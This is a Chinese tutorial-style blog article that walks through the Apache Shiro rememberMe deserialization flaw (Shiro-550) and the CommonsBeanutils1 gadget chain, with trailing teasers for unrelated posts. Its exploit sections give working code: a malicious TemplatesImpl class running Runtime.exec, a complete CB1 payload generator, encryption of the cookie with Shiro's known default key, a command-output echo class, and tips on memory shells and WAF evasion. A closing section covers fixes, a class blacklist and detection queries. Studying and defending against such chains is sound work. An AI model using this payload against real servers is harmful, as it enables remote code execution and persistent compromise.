news 2026/6/12 9:38:18

从Shiro550到命令执行:手把手调试CB1链,搞懂Java反序列化漏洞的完整利用过程

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从Shiro550到命令执行:手把手调试CB1链,搞懂Java反序列化漏洞的完整利用过程

Java反序列化漏洞深度剖析:从CB1链调试到实战利用

在Java安全领域,反序列化漏洞一直是攻击者最青睐的攻击向量之一。Apache Shiro框架的"记住我"功能曾因反序列化漏洞导致大规模安全风险,其中CB1(Commons BeanUtils 1)链因其稳定性和通用性成为经典攻击链。本文将带您深入Java反序列化漏洞的本质,通过亲手调试CB1链,理解从反序列化入口到最终命令执行的完整过程。

1. 环境准备与基础知识

1.1 实验环境搭建

要深入分析CB1链,我们需要准备以下环境:

  • Java开发环境:JDK 8u112(与漏洞利用兼容性最佳)
  • 依赖库
    • Apache Commons BeanUtils 1.8.3
    • Apache Shiro-core 1.2.4
  • 调试工具
    • IntelliJ IDEA(内置强大的调试功能)
    • Burp Suite(用于拦截和修改HTTP请求)

关键配置步骤

  1. 创建Maven项目并添加依赖:
<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.2.4</version> </dependency>
  1. 配置Shiro的默认密钥(用于加密rememberMe cookie):
@Bean public DefaultWebSecurityManager securityManager() { DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager(); securityManager.setRealm(myRealm()); securityManager.setRememberMeManager(rememberMeManager()); return securityManager; } private RememberMeManager rememberMeManager() { CookieRememberMeManager rememberMeManager = new CookieRememberMeManager(); rememberMeManager.setCipherKey(Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")); return rememberMeManager; }

1.2 反序列化漏洞基础概念

理解Java反序列化漏洞需要掌握几个核心概念:

  • 序列化与反序列化:Java对象转换为字节流的过程称为序列化,反之则为反序列化。这个过程通过实现Serializable接口来完成。

  • Gadget链:一系列可被利用的类和方法调用链,通常包含:

    • Source:反序列化入口点(如重写readObject方法的类)
    • Sink:最终执行危险操作的点(如命令执行、文件操作)
    • 连接点:中间的方法调用链
  • 常见危险操作

    • Runtime.exec():直接执行系统命令
    • Method.invoke():通过反射调用任意方法
    • ClassLoader.defineClass():动态加载恶意类

提示:在分析反序列化漏洞时,重点关注那些重写了readObject方法的类,它们往往是攻击链的起点。

2. CB1链核心组件分析

2.1 PriorityQueue:攻击链的起点

PriorityQueue是Java集合框架中的一个类,它之所以成为CB1链的起点,是因为:

  1. 它实现了Serializable接口,支持序列化/反序列化
  2. 重写了readObject方法,在反序列化时会执行自定义逻辑
  3. 是JDK自带类,不依赖第三方库

关键代码分析

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // 读取默认字段 s.defaultReadObject(); // 读取队列大小 s.readInt(); // 初始化队列数组 queue = new Object[size]; // 读取队列元素 for (int i = 0; i < size; i++) queue[i] = s.readObject(); // 重建堆结构 heapify(); }

在反序列化过程中,heapify()方法的调用是关键转折点,它将引导执行流进入我们的攻击链。

2.2 BeanComparator:方法调用的桥梁

BeanComparator是Apache Commons BeanUtils库中的比较器实现,它的核心作用在于:

  1. 实现了Comparator接口,可用于排序操作
  2. 内部使用PropertyUtils.getProperty()方法动态获取对象属性
  3. 通过反射机制调用任意getter方法

关键代码片段

public int compare(Object o1, Object o2) { if (this.property == null) { return this.comparator.compare(o1, o2); } else { try { Object value1 = PropertyUtils.getProperty(o1, this.property); Object value2 = PropertyUtils.getProperty(o2, this.property); return this.comparator.compare(value1, value2); } catch (Exception e) { throw new RuntimeException(e.toString()); } } }

攻击者可以通过控制property字段的值,诱导程序调用特定对象的getter方法,这是整个攻击链能够执行的关键。

2.3 TemplatesImpl:最终的命令执行点

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类是JDK自带的XSLT处理器实现,它之所以成为理想的攻击终点,是因为:

  1. 包含_bytecodes字段,可以存储任意字节码
  2. getOutputProperties()方法中会动态加载并执行这些字节码
  3. 是JDK自带类,无需额外依赖

攻击路径

getOutputProperties() → newTransformer() → getTransletInstance() → defineTransletClasses()

defineTransletClasses()方法中,关键代码如下:

for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i], pd); // ...省略后续检查代码... }

这个方法会使用自定义的ClassLoader加载并执行_bytecodes中的字节码,为攻击者提供了执行任意代码的能力。

3. 完整攻击链调试分析

3.1 攻击链全貌

CB1链的完整调用流程如下表所示:

序号类名方法名关键条件攻击者控制点
1PriorityQueuereadObject队列元素设置
2PriorityQueueheapifysize >= 2初始化时设置
3PriorityQueuesiftDowncomparator != null构造时传入
4PriorityQueuesiftDownUsingComparator同上同上
5BeanComparatorcompareproperty != null反射设置
6PropertyUtilsgetProperty对象有对应属性控制对象和属性名
7TemplatesImplgetOutputProperties_bytecodes != null反射设置
8TemplatesImpldefineTransletClasses字节码有效注入恶意字节码

3.2 分步调试过程

让我们通过实际调试来验证整个攻击链:

  1. 设置断点

    • PriorityQueue.readObject()方法入口处设置断点
    • BeanComparator.compare()方法处设置断点
    • TemplatesImpl.getOutputProperties()方法处设置断点
  2. 触发反序列化

ByteArrayInputStream bais = new ByteArrayInputStream(serializedPayload); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); // 触发反序列化
  1. 跟踪执行流程
  • 阶段1:PriorityQueue反序列化

    • 读取默认字段和队列大小
    • 逐个反序列化队列元素
    • 调用heapify()重建堆结构
  • 阶段2:比较器调用

    • 进入siftDownUsingComparator
    • 调用BeanComparator.compare()
    • 通过反射调用TemplatesImpl.getOutputProperties()
  • 阶段3:字节码加载执行

    • defineTransletClasses()加载恶意字节码
    • 实例化恶意类
    • 执行静态代码块或构造函数中的恶意代码
  1. 关键参数检查
    • 确保PriorityQueuesize>=2
    • 验证BeanComparatorproperty字段已设置为"outputProperties"
    • 检查TemplatesImpl_bytecodes是否包含有效字节码

注意:在实际调试中,可以使用条件断点来过滤无关的调用,例如只在property字段为"outputProperties"时暂停执行。

3.3 漏洞利用条件总结

成功利用CB1链需要满足以下条件:

  1. 基本环境

    • 目标使用Shiro框架且未更新默认密钥
    • 存在commons-beanutils依赖(1.8.x版本)
  2. 链构造条件

    • PriorityQueue初始化大小≥2
    • 设置有效的BeanComparator
    • 正确配置TemplatesImpl的字节码和必要字段
  3. 防御绕过

    • 如果存在RASP防护,可能需要混淆字节码
    • 针对WAF需要特殊编码payload

4. 实战:构造完整攻击Payload

4.1 恶意类编写

首先创建一个简单的恶意类,用于验证漏洞:

public class Evil extends AbstractTranslet { public Evil() throws Exception { super(); Runtime.getRuntime().exec("open /Applications/Calculator.app"); } @Override public void transform(DOM document, SerializationHandler[] handlers) {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }

编译后获取其字节码:

ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); byte[] evilBytes = clazz.toBytecode();

4.2 Payload生成器实现

完整的Payload生成代码如下:

public class CB1PayloadGenerator { public static byte[] generatePayload(byte[] evilBytes) throws Exception { // 1. 创建TemplatesImpl对象并设置字段 TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilBytes}); setField(templates, "_name", "Pwned"); setField(templates, "_tfactory", new TransformerFactoryImpl()); // 2. 创建比较器链 BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); // 3. 创建PriorityQueue并设置比较器 PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator); queue.add("1"); queue.add("1"); // 4. 通过反射设置关键字段 setField(comparator, "property", "outputProperties"); setField(queue, "queue", new Object[]{templates, templates}); // 5. 序列化为字节数组 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(queue); oos.close(); return baos.toByteArray(); } private static void setField(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }

4.3 Payload加密与测试

Shiro的rememberMe cookie使用AES加密,因此需要对Payload进行加密:

public class ShiroExploit { public static void main(String[] args) throws Exception { // 1. 生成恶意字节码 byte[] evilBytes = getEvilClassBytes(); // 2. 生成序列化Payload byte[] payload = CB1PayloadGenerator.generatePayload(evilBytes); // 3. 使用Shiro默认密钥加密 AesCipherService aes = new AesCipherService(); byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payload, key); // 4. 输出Base64编码的Payload System.out.println("rememberMe=" + ciphertext.toString()); } private static byte[] getEvilClassBytes() throws Exception { // 实现同前,获取恶意类字节码 } }

将生成的rememberMe值作为Cookie发送到目标服务器,如果漏洞存在,将触发计算器程序执行。

4.4 高级利用技巧

在实际渗透测试中,可能需要更复杂的技巧:

  1. 内存马注入

    • 修改字节码注入Filter/Servlet内存马
    • 实现持久化后门
  2. 绕过限制

    • 使用BCEL编码绕过类名限制
    • 分块传输规避WAF检测
  3. 回显优化

    • 实现命令执行结果回显
    • 处理各种特殊情况(如无回显场景)
// 示例:带结果回显的恶意类 public class EchoEvil extends AbstractTranslet { public EchoEvil() throws Exception { String cmd = System.getProperty("evil.cmd"); Process p = Runtime.getRuntime().exec(cmd); InputStream is = p.getInputStream(); String result = new BufferedReader(new InputStreamReader(is)).lines() .collect(Collectors.joining("\n")); throw new RuntimeException(result); } // ...省略其他必要方法... }

5. 防御建议与修复方案

5.1 临时缓解措施

对于无法立即升级的系统,可以考虑以下临时方案:

  1. 修改默认密钥
// 在Shiro配置中设置随机密钥 byte[] newKey = new byte[16]; new SecureRandom().nextBytes(newKey); rememberMeManager.setCipherKey(newKey);
  1. 禁用rememberMe功能
# 在shiro.ini中配置 securityManager.rememberMeManager = null
  1. 添加反序列化过滤器
public class SafeObjectInputStream extends ObjectInputStream { private static final Set<String> BLACKLIST = Set.of( "org.apache.commons.beanutils.BeanComparator", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); protected SafeObjectInputStream(InputStream in) throws IOException { super(in); } protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (BLACKLIST.contains(desc.getName())) { throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName()); } return super.resolveClass(desc); } }

5.2 长期解决方案

  1. 升级相关组件

    • 升级Shiro到最新版本(≥1.7.0)
    • 更新commons-beanutils到最新稳定版
  2. 安全开发实践

    • 避免反序列化不可信数据
    • 使用白名单控制反序列化类
    • 实施代码审计流程
  3. 运行时防护

    • 部署RASP解决方案
    • 使用WAF拦截可疑请求
    • 启用Java安全管理器

5.3 检测与监控

  1. 异常检测指标

    • 异常的rememberMe Cookie长度
    • 频繁的反序列化操作
    • 可疑的ClassLoader活动
  2. 日志监控建议

-- 示例:检测可疑的Shiro活动 SELECT * FROM web_logs WHERE request_uri LIKE '%login%' AND request_cookies LIKE '%rememberMe=%' AND LENGTH(request_cookies) > 1024;
  1. 应急响应流程
    • 确认漏洞利用迹象
    • 隔离受影响系统
    • 收集取证数据
    • 应用修复方案
    • 全面安全扫描
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/12 9:32:15

HoRain云--Rust 面向对象

&#x1f3ac; HoRain 云小助手&#xff1a;个人主页 ⛺️生活的理想&#xff0c;就是为了理想的生活! ⛳️ 推荐 前些天发现了一个超棒的服务器购买网站&#xff0c;性价比超高&#xff0c;大内存超划算&#xff01;忍不住分享一下给大家。点击跳转到网站。 目录 ⛳️ 推荐 …

作者头像 李华
网站建设 2026/6/12 9:31:43

别再手动调环境光了!用OpenGL和HDR贴图5分钟搞定IBL全局照明

5分钟实战&#xff1a;用HDR环境贴图快速实现专业级全局光照 在游戏和三维可视化开发中&#xff0c;手动调整环境光源往往是件令人头疼的事——要么光线分布不自然&#xff0c;要么需要反复调试参数。基于图像的照明(IBL)技术通过真实环境贴图来模拟全局光照&#xff0c;可以一…

作者头像 李华
网站建设 2026/6/12 9:31:40

2026免费图片换背景软件大全,手把手教你给图片更换背景

你是不是也经常遇到这样的困扰&#xff1f;拍好的人像照片背景杂乱&#xff0c;证件照需要更换标准底色&#xff0c;商品配图想换上精致背景&#xff0c;尝试手动修图却总出现抠图毛边、画面不协调的问题。其实借助合适的工具&#xff0c;零基础也能轻松完成图片换背景操作。20…

作者头像 李华
网站建设 2026/6/12 9:30:53

RAG效果怎么量化?检索准确率+回答忠实度+RAGAS四维指标实战

专栏第11篇&#xff1a;前面两篇文章分别讲了RAG的离线阶段&#xff08;文档处理&#xff09;和在线阶段&#xff08;混合检索与重排序&#xff09;。但系统搞好了&#xff0c;怎么知道它好不好&#xff1f;RAG效果不能靠“感觉”&#xff0c;必须量化评估。今天从检索端和生成…

作者头像 李华
网站建设 2026/6/12 9:30:01

考研院校名单大全|择校名单|资料已整理

考研院校名单大全|择校名单|资料已整理资料全科都有考研院校名单择校资料 PDFhttps://pan.quark.cn/s/c10fdd3f93a0 【英语真题】1. A complete list can help applicants narrow their choices. The word "narrow" means&#xff08; &#xff09;A. reduce B. inc…

作者头像 李华
网站建设 2026/6/12 9:19:42

从游戏到AI:聊聊不同GPU架构(Volta/Ampere)下CUDA线程配置的实战差异

从游戏到AI&#xff1a;不同GPU架构下CUDA线程配置的实战差异当你在RTX 3090上跑得飞快的CUDA kernel&#xff0c;换到A100上却性能平平&#xff0c;问题很可能出在那些看似简单的grid_size和block_size数字上。这不是简单的参数调整&#xff0c;而是硬件架构差异与算法特性交织…

作者头像 李华